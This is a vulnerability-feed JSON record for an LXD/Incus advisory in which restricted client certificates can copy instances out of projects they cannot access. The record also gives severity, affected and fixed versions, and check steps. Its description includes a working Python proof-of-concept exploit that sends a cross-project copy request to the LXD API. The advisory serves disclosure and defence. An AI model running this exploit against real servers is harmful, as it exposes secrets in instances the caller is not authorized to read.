{"id":"GHSA-qx75-2p3r-pwm5","kind":"vulnerability","aliases":["GHSA-qx75-2p3r-pwm5"],"related":[],"title":"LXD has project restriction bypass in instance copy across projects","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg\n\n### Summary\nMissing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.\n\n### Details\n`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.\n\nFrom my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.\n\n### PoC\n\n#### Setup\n\nWe assume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets init images:debian/trixie secret\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus ls remote:\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-instance secret --name copy-secret --insecure\n```\n\nWait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy an instance from a project the caller should not be able to read.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n        raise\n\n\ndef main() -> int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--url\", required=True)\n    ap.add_argument(\"--cert\", required=True)\n    ap.add_argument(\"--key\", required=True)\n    ap.add_argument(\"--target-project\", required=True)\n    ap.add_argument(\"--source-project\", required=True)\n    ap.add_argument(\"--source-instance\", required=True)\n    ap.add_argument(\"--name\", required=True, help=\"new instance name in target project\")\n    ap.add_argument(\"--instance-only\", action=\"store_true\")\n    ap.add_argument(\"--start\", action=\"store_true\")\n    ap.add_argument(\"--insecure\", action=\"store_true\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\")\n    args = ap.parse_args()\n\n    body = {\n        \"name\": args.name,\n        \"source\": {\n            \"type\": \"copy\",\n            \"source\": args.source_instance,\n            \"project\": args.source_project,\n            \"instance_only\": args.instance_only,\n        },\n        \"start\": args.start,\n    }\n    path = \"/1.0/instances?\" + urllib.parse.urlencode({\"project\": args.target_project})\n    print(json.dumps(body, indent=2))\n    if args.dry_run:\n        return 0\n    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.","summary":"LXD's instance copy endpoint checks permission only on the target project, not the source project. A client that knows a project and instance name it cannot access can copy that instance into a project it can reach and read its contents, including secrets.","severity":"high","cvss":7.7,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260630083100-c5184be310b1"],"affected":"< 0.0.0-20260630083100-c5184be310b1","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-284","go","incus","lxd","package","self-hosted"],"not_affected_if":["local-socket-only","no-remote-api","unrestricted-certificates"],"how_to_check":"- Run `lxd --version` or `incus --version` on the server and compare with the fixed version.\n- Check whether any client certificate is restricted with `projects:` lists (for example `incus config trust list`), since restricted clients are the exposed case.\n- Check whether the LXD API port (8443) is reachable from networks where untrusted clients connect.","fix":"- `github.com/canonical/lxd`: move to `0.0.0-20260630083100-c5184be310b1` or later.","status":"open","published_at":"2026-11-06T19:51:00+00:00","first_seen_at":"2026-11-06T19:53:29+00:00","triaged_at":"2026-11-06T19:53:56+00:00","updated_at":"2026-11-06T19:53:56+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-11-06T19:53:56Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/canonical/lxd`: move to `0.0.0-20260630083100-c5184be310b1` or later.","reach":"network","title":"LXD: restricted client can copy instances from projects it cannot read","impact":"high","summary":"LXD's instance copy endpoint checks permission only on the target project, not the source project. A client that knows a project and instance name it cannot access can copy that instance into a project it can reach and read its contents, including secrets.","audience":"businesses","category":"package","nicknames":[],"who_cares":["lxd","incus","self-hosted","go"],"confidence":0.7,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker reads secrets from instances in projects they cannot access","analyst_note":"","how_to_check":"- Run `lxd --version` or `incus --version` on the server and compare with the fixed version.\n- Check whether any client certificate is restricted with `projects:` lists (for example `incus config trust list`), since restricted clients are the exposed case.\n- Check whether the LXD API port (8443) is reachable from networks where untrusted clients connect.","plain_action":"","needs_analyst":false,"not_affected_if":["local-socket-only","unrestricted-certificates","no-remote-api"],"who_is_affected":"Servers running LXD or Incus with the remote API enabled and restricted client certificates that are limited to certain projects. An attacker needs a valid client certificate for the server and must know the name of a project they cannot access and an instance inside it. Local-only or unrestricted-admin setups are not the described exposure; the sources do not name a specific Go module version range beyond the fixed commit.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000881,"input_tokens":5796,"output_tokens":602,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-284':25B '/1.0/instances':144C,551C '/canonical/lxd':23A '/lxc/incus/security/advisories/ghsa-c9f5-j9c3-mhrg':81C '/usr/bin/env':343C '0':565C '2':560C '2p3r':14A,19A '8443':303C 'abl':356C 'accept':425C 'access':60B,104C,130C,139C,210C,249C 'across':9A 'action':506C,512C,518C,526C 'actor':193C 'add':216C 'allow':126C 'annot':362C 'anoth':199C 'ap':451C 'ap.add':453C,458C,463C,468C,475C,482C,489C,501C,509C,515C,521C 'ap.parse':530C 'application/json':424C,426C 'arg':529C,531C 'argpars':364C 'argparse.argumentparser':452C 'args.dry':562C 'args.instance':546C 'args.name':534C 'args.source':539C,542C 'args.start':549C 'args.target':554C 'args.url':568C 'argument':454C,459C,464C,469C,476C,483C,490C,502C,510C,516C,522C 'assum':204C 'attack':92C,128C 'author':84C,137C,142C 'bit':327C 'bodi':383C,416C,532C,558C,570C 'bool':390C 'bypass':5A 'byte':391C 'caller':165C,352C 'cannot':59B 'cert':258C,304C,385C,406C,408C,460C 'cert-fp':257C 'certif':246C,271C 'chain':407C 'check':38B,85C,162C 'client':50B 'cmd/incusd/instances.go':141C 'cmd/incusd/instances_post.go':153C 'command':293C 'config':254C 'content':74B,422C 'content-typ':421C 'context':395C,431C 'copi':8A,36B,62B,89C,116C,151C,175C,185C,283C,322C,333C,341C,345C,537C 'copy-secret':321C 'could':125C 'creat':217C,225C 'ctx':392C,432C 'ctx.check':398C 'ctx.load':405C 'ctx.verify':401C 'cwe':24B 'data':414C 'debian/trixie':241C 'decod':443C 'def':377C,448C 'default':230C,235C,266C,289C,311C,394C 'detail':140C 'dict':384C 'done':188C 'dri':524C 'dry-run':523C 'edit':234C,256C 'encod':417C 'endpoint':37B 'error':444C 'exampl':262C 'exc':440C 'exc.read':442C 'except':437C 'exist':86C,245C 'exploit':275C 'fals':400C 'follow':292C 'fp':259C 'futur':360C 'generat':281C 'ghsa':12A,17A 'ghsa-qx75-2p3r-pwm5':11A,16A 'github.com':22A,80C 'github.com/canonical/lxd':21A 'github.com/lxc/incus/security/advisories/ghsa-c9f5-j9c3-mhrg':79C 'go':26B 'header':420C 'help':494C 'host':32B 'hostnam':399C 'howev':182C 'imag':240C 'import':361C,363C,365C,367C,369C,371C,373C,375C 'includ':75B 'incus':27B,223C,227C,231C,236C,253C,272C,335C 'indent':559C 'init':239C 'insecur':324C,389C,397C,517C 'instanc':7A,35B,56B,64B,88C,111C,118C,133C,158C,170C,197C,222C,286C,318C,330C,342C,347C,486C,496C,504C,540C,544C 'instance-on':503C 'int':450C 'ip':301C 'ip-remot':300C 'issu':124C 'json':366C 'json.dumps':415C,557C 'key':306C,387C,409C,465C 'know':52B,93C 'load':155C 'ls':273C,336C 'lxd':1A,28B,33B 'main':449C 'malici':192C 'method':418C 'miss':83C 'mode':402C 'move':195C 'must':176C 'n':446C 'name':57B,95C,108C,320C,491C,497C,533C 'new':121C,219C,495C 'none':404C 'noth':189C 'occur':177C 'packag':29B 'part':280C 'path':152C,381C,413C,550C,569C 'path/to/client.crt':305C 'path/to/client.key':307C 'permiss':39B 'poc':201C 'poc.py':298C 'post':143C,378C,419C,567C 'prevent':190C,248C 'print':556C,566C 'profil':228C 'project':3A,10A,44B,48B,54B,67B,98C,114C,122C,148C,220C,224C,232C,237C,252C,265C,290C,310C,314C,350C,472C,479C,500C,541C,543C,553C,555C 'pwm5':15A,20A 'python3':297C,344C 'qx75':13A,18A 'rais':447C 'reach':70B 'read':72B,358C 'remot':209C,274C,302C,337C 'replac':445C 'report':77C 'req':410C,430C 'req.source.project':160C 'requir':456C,461C,466C,473C,480C,487C,492C 'resp':434C 'resp.read':436C 'restrict':4A,243C,263C,270C 'return':435C,564C 'run':525C,563C 'script':278C 'secret':76B,131C,226C,233C,238C,242C,285C,315C,319C,323C 'see':339C 'self':31B 'self-host':30B 'server':181C,200C,207C 'set':260C 'setup':202C 'show':229C 'sourc':47B,157C,169C,313C,317C,478C,485C,535C,538C 'source-inst':316C,484C 'source-project':312C,477C 'ssl':368C 'ssl.cert':403C 'ssl.create':393C 'start':511C,548C 'store':507C,513C,519C,527C 'str':380C,382C,386C,388C 'summari':82C 'sys':370C 'sys.stderr.write':441C 'target':43B,147C,206C,309C,471C,499C 'target-project':308C,470C 'tri':427C 'true':264C,457C,462C,467C,474C,481C,488C,493C,508C,514C,520C,528C 'trust':255C 'type':423C,536C 'understand':173C 'url':299C,379C,455C 'url.rstrip':412C 'urllib.error':372C 'urllib.error.httperror':438C 'urllib.parse':374C 'urllib.parse.urlencode':552C 'urllib.request':376C 'urllib.request.request':411C 'urllib.request.urlopen':429C 'use':296C 'user/certificate':213C 'verif':267C 'view':167C 'wait':325C 'whether':163C 'without':161C","nicknames":[],"mitigations":[],"who_affected":"Servers running LXD or Incus with the remote API enabled and restricted client certificates that are limited to certain projects. An attacker needs a valid client certificate for the server and must know the name of a project they cannot access and an instance inside it. Local-only or unrestricted-admin setups are not the described exposure; the sources do not name a specific Go module version range beyond the fixed commit.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["cwe284","go","high","incus","lxd","package","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':23A '2p3r':14A,19A 'across':9A 'bypass':5A 'copi':8A 'ghsa':12A,17A 'ghsa-qx75-2p3r-pwm5':11A,16A 'github.com':22A 'github.com/canonical/lxd':21A 'instanc':7A 'lxd':1A 'project':3A,10A 'pwm5':15A,20A 'qx75':13A,18A 'restrict':4A","search_b":"'-284':25B 'access':60B 'cannot':59B 'check':38B 'client':50B 'content':74B 'copi':36B,62B 'cwe':24B 'endpoint':37B 'go':26B 'host':32B 'includ':75B 'incus':27B 'instanc':35B,56B,64B 'know':52B 'lxd':28B,33B 'name':57B 'packag':29B 'permiss':39B 'project':44B,48B,54B,67B 'reach':70B 'read':72B 'secret':76B 'self':31B 'self-host':30B 'sourc':47B 'target':43B","search_c":"'/1.0/instances':144C,551C '/lxc/incus/security/advisories/ghsa-c9f5-j9c3-mhrg':81C '/usr/bin/env':343C '0':565C '2':560C '8443':303C 'abl':356C 'accept':425C 'access':104C,130C,139C,210C,249C 'action':506C,512C,518C,526C 'actor':193C 'add':216C 'allow':126C 'annot':362C 'anoth':199C 'ap':451C 'ap.add':453C,458C,463C,468C,475C,482C,489C,501C,509C,515C,521C 'ap.parse':530C 'application/json':424C,426C 'arg':529C,531C 'argpars':364C 'argparse.argumentparser':452C 'args.dry':562C 'args.instance':546C 'args.name':534C 'args.source':539C,542C 'args.start':549C 'args.target':554C 'args.url':568C 'argument':454C,459C,464C,469C,476C,483C,490C,502C,510C,516C,522C 'assum':204C 'attack':92C,128C 'author':84C,137C,142C 'bit':327C 'bodi':383C,416C,532C,558C,570C 'bool':390C 'byte':391C 'caller':165C,352C 'cert':258C,304C,385C,406C,408C,460C 'cert-fp':257C 'certif':246C,271C 'chain':407C 'check':85C,162C 'cmd/incusd/instances.go':141C 'cmd/incusd/instances_post.go':153C 'command':293C 'config':254C 'content':422C 'content-typ':421C 'context':395C,431C 'copi':89C,116C,151C,175C,185C,283C,322C,333C,341C,345C,537C 'copy-secret':321C 'could':125C 'creat':217C,225C 'ctx':392C,432C 'ctx.check':398C 'ctx.load':405C 'ctx.verify':401C 'data':414C 'debian/trixie':241C 'decod':443C 'def':377C,448C 'default':230C,235C,266C,289C,311C,394C 'detail':140C 'dict':384C 'done':188C 'dri':524C 'dry-run':523C 'edit':234C,256C 'encod':417C 'error':444C 'exampl':262C 'exc':440C 'exc.read':442C 'except':437C 'exist':86C,245C 'exploit':275C 'fals':400C 'follow':292C 'fp':259C 'futur':360C 'generat':281C 'github.com':80C 'github.com/lxc/incus/security/advisories/ghsa-c9f5-j9c3-mhrg':79C 'header':420C 'help':494C 'hostnam':399C 'howev':182C 'imag':240C 'import':361C,363C,365C,367C,369C,371C,373C,375C 'incus':223C,227C,231C,236C,253C,272C,335C 'indent':559C 'init':239C 'insecur':324C,389C,397C,517C 'instanc':88C,111C,118C,133C,158C,170C,197C,222C,286C,318C,330C,342C,347C,486C,496C,504C,540C,544C 'instance-on':503C 'int':450C 'ip':301C 'ip-remot':300C 'issu':124C 'json':366C 'json.dumps':415C,557C 'key':306C,387C,409C,465C 'know':93C 'load':155C 'ls':273C,336C 'main':449C 'malici':192C 'method':418C 'miss':83C 'mode':402C 'move':195C 'must':176C 'n':446C 'name':95C,108C,320C,491C,497C,533C 'new':121C,219C,495C 'none':404C 'noth':189C 'occur':177C 'part':280C 'path':152C,381C,413C,550C,569C 'path/to/client.crt':305C 'path/to/client.key':307C 'poc':201C 'poc.py':298C 'post':143C,378C,419C,567C 'prevent':190C,248C 'print':556C,566C 'profil':228C 'project':98C,114C,122C,148C,220C,224C,232C,237C,252C,265C,290C,310C,314C,350C,472C,479C,500C,541C,543C,553C,555C 'python3':297C,344C 'rais':447C 'read':358C 'remot':209C,274C,302C,337C 'replac':445C 'report':77C 'req':410C,430C 'req.source.project':160C 'requir':456C,461C,466C,473C,480C,487C,492C 'resp':434C 'resp.read':436C 'restrict':243C,263C,270C 'return':435C,564C 'run':525C,563C 'script':278C 'secret':131C,226C,233C,238C,242C,285C,315C,319C,323C 'see':339C 'server':181C,200C,207C 'set':260C 'setup':202C 'show':229C 'sourc':157C,169C,313C,317C,478C,485C,535C,538C 'source-inst':316C,484C 'source-project':312C,477C 'ssl':368C 'ssl.cert':403C 'ssl.create':393C 'start':511C,548C 'store':507C,513C,519C,527C 'str':380C,382C,386C,388C 'summari':82C 'sys':370C 'sys.stderr.write':441C 'target':147C,206C,309C,471C,499C 'target-project':308C,470C 'tri':427C 'true':264C,457C,462C,467C,474C,481C,488C,493C,508C,514C,520C,528C 'trust':255C 'type':423C,536C 'understand':173C 'url':299C,379C,455C 'url.rstrip':412C 'urllib.error':372C 'urllib.error.httperror':438C 'urllib.parse':374C 'urllib.parse.urlencode':552C 'urllib.request':376C 'urllib.request.request':411C 'urllib.request.urlopen':429C 'use':296C 'user/certificate':213C 'verif':267C 'view':167C 'wait':325C 'whether':163C 'without':161C","first_public_at":"2026-11-06T19:51:00+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-qx75-2p3r-pwm5","url":"https://github.com/advisories/GHSA-qx75-2p3r-pwm5","severity":"high","published_at":"2026-11-06T19:51:00+00:00","modified_at":"2026-11-06T19:51:01+00:00","first_seen_at":"2026-11-06T19:53:29+00:00","fetched_at":"2026-11-06T19:53:29+00:00","note":null}],"documents":[{"id":89413,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-qx75-2p3r-pwm5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89414,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-qx75-2p3r-pwm5","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":89415,"url":"https://github.com/canonical/lxd/commit/97cb037794cb6b21c5a184eb5f3292207adbf6b2","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89416,"url":"https://github.com/canonical/lxd/commit/bc1e20ea32dff6ae2df08803eee82832959ec80e","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89417,"url":"https://github.com/canonical/lxd/commit/f7849615eb89e71a12ea76daaab6110bdf0fdf7f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89403,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":88870,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":89412,"url":"https://github.com/canonical/lxd/releases/tag/lxd-6.8","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}